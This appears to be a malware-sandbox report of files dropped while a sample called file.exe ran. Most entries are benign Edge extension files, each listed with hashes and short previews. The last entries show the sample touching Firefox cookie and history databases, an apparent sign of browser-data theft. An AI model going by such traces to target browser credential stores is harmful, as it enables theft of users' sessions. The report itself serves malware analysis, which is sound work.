C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1985446912\9adfea27-f60f-4969-8480-a9470b52513f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1985446912\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1985446912\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1985446912\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1985446912\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
